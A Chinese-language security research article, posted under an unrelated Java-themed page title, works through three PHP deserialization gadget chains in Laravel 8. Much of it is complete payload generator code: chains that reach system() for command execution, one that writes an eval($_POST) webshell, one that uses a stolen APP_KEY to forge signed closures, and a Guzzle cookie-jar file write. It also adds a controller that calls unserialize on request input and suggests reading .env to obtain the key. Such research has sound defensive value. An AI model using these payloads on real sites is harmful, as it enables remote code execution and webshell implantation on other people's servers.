java反序列化漏洞POP查找_Laravel8反序列化POP链分析挖掘
作者:Dig2@星盟
前言
作为目前PHP最主流的框架之一,Laravel的主体及其依赖组件一直保持着较频繁的更新。自从2020年9月份Laravel 8发布以来,已经更新了四十多个版本,平均每个月都有八次左右的更新。除了优化,还有重要的原因在于安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代码执行。这个CVE的命令执行步骤中有一部分依赖于Phar反序列化的执行。相比较于目前被分析较多的Larave 5.X版本的POP链,Laravel 8 部分组件版本较新,部分类加上了方法进行过滤或者直接禁止了反序列化,故利用方式有所差异。本文分析并挖掘了当前Laravel 8版本中的反序列化链。
__wake
使用composer默认安装方式
composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859
Laravel版本8.5.9,framework版本8.26.1,具体组件版本可参照Packagist Laravel
手动添加反序列化点:
/routes/web.php:
use Illuminate\Support\Facades\Route;use App\Http\Controllers\IndexController;Route::get('/', [IndexController::class, 'index']);
/app/Http/Controllers/IndexController.php:
namespace App\Http\Controllers;use Illuminate\Http\Request;class IndexController extends Controller{ public function index(Request $request) { $p = $request->input('payload'); unserialize($p); }}
反序列化链分析
链一
寻找__destruct
入口类为:的
\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
class PendingBroadcast
这是一个很经典的入口类了,如果读者有研究Laravel 5的反序列化链,可能会知道这个类。其方法:
__destruct
我们可以控制和。如果使为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法。
$this->events
$this->event
$this->events
寻找dispatch方法
的存在dispatch方法
\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
class Dispatcher
可控,可控,要求为ShouldQueue的实例
$command
$this->queueResolver
$this->commandShouldBeQueued
$command
全局搜索,随便找一个ShouldQueue的子类即可
然后就能够进入方法
$this->dispatchToQueue
和均可控。payload如下:
$this->queueResolver
$connection
// 1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}
加强
上面的利用方法中,执行时,执行的函数只有一个参数。如果现在需要执行一个多参数函数比如file_put_contents就没办法了。
call_user_func($this->queueResolver, $connection);
$connection
注意到这里call_user_func的第一个参数除了可以是函数名字符串,还有两种可以利用方式:
使第一个参数为一个类,就能调用该类的方法
__invoke
使第一个参数为数组,例如,表示调用类A的foo方法。下面分别介绍这两种方式例子
[class A, 'foo']
法一:调用__invoke
这里的利用稍为复杂
在的找到了一个非常漂亮的函数
\vendor\opis\closure\src\SerializableClosure.php
class SerializableClosure
__invoke
这里的和均可控,我本来以为能够直接RCE了,然而后面还有两个棘手的问题。
$this->closure
func_get_args()
一个是该类使用的不是标准序列化反序列化方法,而是实现了自己的序列化和反序列化方法:
其实这个问题不难解决,我们可以在生成payload的时候,使用composer引入该组件:
composer require opis/closure
然后在生成payload的代码中加入:
require "./vendor/autoload.php";
再:
$func = function(){file_put_contents("shell.php", "");};$d = new \Opis\Closure\SerializableClosure($func);
就能生成该类实例了
第二个棘手的问题在于,Laravel 8和Laravel 5有一个区别。Laravel 8在序列化和反序列化该类时,使用了验证secret。
该secret由环境变量配置文件,也就是中的决定,Laravel安装的时候,会在文件中生成一个随机的,例如:
.env
APP_KEY
.env
APP_KEY
APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=
我们在本地生成payload的时候,也要手动生成一个,并且secret和远程受害者要是一样的才行。方法为,在本地的的源码文件中加入这么一行(字符串为受害机文件中的密钥):
static::$securityProvider
class SerializableClosure
SerializableClosure.php
.env
那么如何获取受害机的呢?我们在上面既然实现了单参数的任意函数执行,那么就行了。当然,如果有其他漏洞点能够泄露配置文件就更方便了。
APP_KEY
file_get_content('.env')
综上所述,生成payload脚本:
// 1-1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { require "./vendor/autoload.php"; $func = function(){file_put_contents("shell.php", "");}; $d = new \Opis\Closure\SerializableClosure($func); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}
法二:调用另一个类某可控函数
这里使用了JrXnm师傅在其文章Laravel 5.8 RCE POP链汇总分析中提到的方法,使用的,在下面链二的加强中演示。payload一并放在文末的github地址中。
vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
class LazyOption
链二
寻找__destruct
同链一,入口类为:的
\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
class PendingBroadcast
我们可以控制和。如果使为某个类,并且该类没有实现dispatch方法却有方法,那么就可以调用这个方法了
$this->events
$this->event
$this->events
__call
寻找__call
随后找到位于中的
\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
class Validator
它有方法:
__call
可控,为固定字符串dispatch,取后,为空字符串,故为。可控,跟踪方法
$parameters
$method
substr($method, 8)
$rule
''
$this->extensions
$this->callExtension()
和都是可控的,于是一条利用链就出来了。payload如下:
$callback
$parameters
// 2.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}
加强
对于链二的总结就是:
$callback(... array_values($parameters));
可控,最多只能为单成员的数组。所以这里也具有无法执行多参数函数比如的问题。
$callback
$parameters
file_put_contents
注意到这里利用的是PHP中的可变函数,经过实验,如下代码可行:
class A{ public function __invoke(){ echo "invoke".PHP_EOL; } public function test(){ echo "test".PHP_EOL; }}$callback1 = new A;$callback1(''); // 输出invoke$callback2 = array(new A, 'test');$callback2(''); // 输出test
因此,可以控制上面利用链中的为数组,就可以调用某其他类任意函数了。
$callback
的是一个很好的选择。
vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
class LazyOption
其option方法可以调用call_user_func_array函数,且两个参数都可控
虽然option是private属性的方法,在其它类中无法直接调用,但是可以发现在该类自身中,许多函数都在调用option函数
于是构造成功,payload如下所示
// 2-1.phpnamespace PhpOption { class LazyOption { private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "php eval(\$_POST['Dig2']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select'])); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important'); print(urlencode(serialize($a)));}
链三
入口类为的。此类在Laravel 5中没有出现。其有函数:
\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
class FileCookieJar
__destruct
可控,跟踪save函数:
$this->filename
有file_put_contents函数。一路顺下去,能看到该类的接口是实现了IteratorAggregate的,如下
interface CookieJarInterface extends \Countable, \IteratorAggregate
也就是说它实现了自己的方法,这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。因为我们要通过其父类的SetCookie方法来设置这里的值。其余没有什么值得注意的地方,比较简单,payload如下:
foreach ($this as $cookie)
$cookie
// 3.phpnamespace{ require "./vendor/autoload.php"; $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php"); $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([ 'Name'=>'123', 'Domain'=> "", 'Expires'=>123, 'Value'=>123 ])); print(urlencode(serialize($a)));}
总结
Laravel 8相对于Laravel 5而言,增加了几个组件,又去掉了另几个组件。利用链有部分重叠,也有修复与增补。整体分析下来,思路是非常清晰的,从函数到或者等,再到危险函数完成RCE,中间或许需要跳板反复利用。密钥等信息的泄露也会带来RCE的风险。
__destruct
__invoke
__call
上面代码集合:https://github.com/WgagaXnunigo/laravel8_POP_RCE
java反序列化漏洞POP查找_Laravel8反序列化POP链分析挖掘相关推荐
- java反序列化漏洞 tomcat_CVE-2020-9484 Apache Tomcat反序列化漏洞浅析
本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章,浅析CVE-2020-9484 Apache Tomcat反序列化漏洞. 01漏洞概述 这次是因为错误配置和org.apache.catalin ...
- OWASP TOP 10(六)反序列化漏洞(序列化和反序列化、漏洞原理、PHP中的序列化和反序列化、魔术方法、Typecho_v1.0中的反序列化漏洞)
文章目录 反序列化漏洞 一.概述 1. 序列化和反序列化 2. 序列化的目的 二.PHP中的序列化与反序列化 1. 概述 2. 示例序列化与反序列化 3. 反序列化漏洞 - PHP中的魔术方法 - T ...
- 【反序列化漏洞-02】PHP反序列化漏洞实验详解
为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis, ...
- 反序列化漏洞攻击原理(Dubbo反序列化漏洞剖析)
关联文章:给服务端发送自定义类实例序列化数据实现反序列化攻击 一.前言 最近大家都在讨论Dubbo反序列化漏洞问题.想必各个大V也都推送了相关文章.看了下各大文章差不多都是一个套路,两个步骤:第一步开 ...
- PHP反序列化漏洞(什么是反序列化漏洞及操作)
**一.**在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如 ...
- 反序列化漏洞-JAVA
反序列化漏洞-JAVA JAVA反序列化了解 反序列化漏洞原理 WebGoat靶场反序列化案例. 发现反序列化漏洞 JAVA反序列化了解 序列化 序列化:将对象转换为字节序列. 反序列化:把字节序列回 ...
- thinkphp5.0.24反序列化漏洞分析
thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...
- 反序列化对象列表发生异常_通过反序列化漏洞,黑客能做什么呢?
在之前的文章中讲解了一个反序列化的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行.换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了 ...
- PHP反序列化漏洞-从入门到提升
目录 第一章 PHP序列化基础 1.1 PHP序列化 1.1.1 PHP序列化概述 1.1.2 标准序列化 1.1.3 自定义序列化 1.1.4 序列化存储和转发 1.2 PHP反序列化 1.2.1 ...
- Android 反序列化漏洞攻防史话
Java 在历史上出现过许多反序列化的漏洞,但大部分出自 J2EE 的组件.即便是 FastJSON 这种漏洞,似乎也很少看到在 Android 中被实际的触发和利用.本文即为对历史上曾出现过的 An ...
最新文章
- GROMACS运行参数之em_real.mdp文件详解
- 数据挖掘:一个end2end完整实例
- Codeforces Round #644 (Div. 3)(A-E)
- 【渝粤教育】国家开放大学2018年春季 7407-21T药物治疗学(本) 参考试题
- 微信扫码下载iosAPP
- 抑制过拟合的方法之权值衰减
- SpringMvc-MockMvc
- 《WinForm开发系列之控件篇》Item31 MenuStrip(暂无)
- python 怎么样去txt中提取xml_如何使用python将.txt文件转换成xml文件?
- fast recovery area oracle,oracle Fast Recovery Area的管理
- Python语言三种优点。
- Oracle数据库用户密码过期的解决方法
- 大规模异构图召回在美团到店推荐广告的应用
- IOS获取农历节日.节气
- c语言找最大值最小值
- 你知道哪些或者你们线上使用什么GC策略? 它有什么优势,适用于什么场景?
- 摄像头模组简介与质量管控(连载三)
- 2017 多校训练第二场 HDU 6047 Maximum Sequence(贪心+优先队列)
- 关于“超时时间已到”的问题,终于解决了
- 计算函数:求和、平均值、最小值、最大值